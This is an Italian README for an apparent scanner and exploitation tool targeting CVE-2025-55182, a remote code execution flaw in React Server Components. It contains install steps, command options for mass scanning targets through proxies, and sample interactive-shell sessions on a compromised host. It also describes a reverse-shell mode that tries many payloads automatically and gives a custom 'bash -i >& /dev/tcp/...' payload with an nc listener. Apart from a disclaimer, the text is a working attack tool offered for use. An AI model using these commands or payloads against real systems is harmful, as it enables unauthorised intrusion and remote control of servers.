
Scanner di vulnerabilità RCE critica per React Server Components (CVE-2025-55182). Framework automatizzato di sfruttamento con supporto multi-payload, capacità proxy ed esecuzione interattiva di comandi.
[!Warning] Questo repository è destinato esclusivamente a scopi educativi e di ricerca.
- Utilizza i PoC forniti esclusivamente su sistemi di tua proprietà o per i quali hai esplicita autorizzazione ai test.
- L'accesso non autorizzato, lo sfruttamento o l'uso improprio di qualsiasi materiale in questo repository è illegale.
- L'autore/gli autori non si assume/assumono alcuna responsabilità per eventuali danni, uso improprio o conseguenze legali derivanti da un uso improprio.
CVE-2025-55182 è una vulnerabilità critica di remote code execution che interessa le versioni 19.0.0, 19.1.0, 19.1.1 e 19.2.0 di React Server Components. Questa vulnerabilità deriva dalla deserializzazione non sicura dei payload delle richieste HTTP verso gli endpoint delle Server Function, consentendo a attaccanti non autenticati di eseguire codice arbitrario da remoto.
CVE ID: CVE-2025-55182
Versioni interessate:
git clone https://github.com/AliHzSec/CVE-2025-55182.git
cd CVE-2025-55182
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
python3 main.py [-h] (-d | -e) [-u URL] [-l LIST] [-p PROXY | -pl PROXY_LIST] [-t THREADS] [-s]
| Argomento | Descrizione |
|---|---|
-d, --detection | Esegue in modalità rilevamento (scansiona per vulnerabilità) |
-e, --exploit | Esegue in modalità exploitation (sfrutta un singolo target) |
-u, --url URL | URL del target singolo da scansionare/sfruttare |
-l, --list FILE | File contenente un elenco di URL target (solo modalità rilevamento) |
-p, --proxy URL | URL del proxy singolo (es., http://127.0.0.1:8080) |
-pl, --proxy-list FILE | File contenente un elenco di URL proxy (uno per riga) |
-t, --threads N | Numero di thread concorrenti (default: 10, solo modalità rilevamento) |
-s, --silent | Modalità silenziosa - mostra solo i target vulnerabili (solo modalità rilevamento) |
-o, --output [FILE] | Salva i target vulnerabili in un file (solo modalità rilevamento). Se non viene fornito un nome file, utilizza il default: CVE-2025-55182_Result_YYYYMMDD_HHMMSS.txt |
--debug | Abilita il logging di debug - mostra i dettagli della risposta e i tentativi di ripetizione (non disponibile in modalità silenziosa) |
python3 main.py -d -u https://example.com
python3 main.py -d -l targets.txt
python3 main.py -d -l targets.txt -p http://127.0.0.1:8080
python3 main.py -d -l targets.txt -s
python3 main.py -d -l targets.txt -t 20
python3 main.py -e -u https://vulnerable-site.com
Poi seleziona [i] per la shell interattiva:
Choose exploitation method:
[i] Interactive shell
[r] Reverse shell
Enter your choice (i/r): i
shell> whoami
ec2-user
shell> id
uid=1000(ec2-user) gid=1000(ec2-user) groups=1000(ec2-user)
shell> ls -la
total 48
drwxrwxr-x 5 user user 4096 Dec 7 10:00 .
drwxr-xr-x 3 root root 4096 Dec 1 08:00 ...
...
shell> exit
python3 main.py -e -u https://vulnerable-site.com
Poi seleziona [r] per la reverse shell e scegli il tipo di payload:
Choose exploitation method:
[i] Interactive shell
[r] Reverse shell
Enter your choice (i/r): r
Choose payload option:
[d] Use default payloads (Try multiple reverse shells)
[c] Provide custom payload
Enter your choice (d/c): d
Enter your IP and port in this format:
Example: 192.168.1.100:4444
IP:PORT> 192.168.1.100:4444
Setup your listener with this command:
nc -lvnp 4444
Press ENTER when your listener is ready...
Lo strumento proverà automaticamente 17+ diversi payload di reverse shell fino a quando uno non avrà successo.
Enter your choice (d/c): c
Enter your custom reverse shell payload:
payload> bash -i >& /dev/tcp/10.0.0.1/4444 0>&1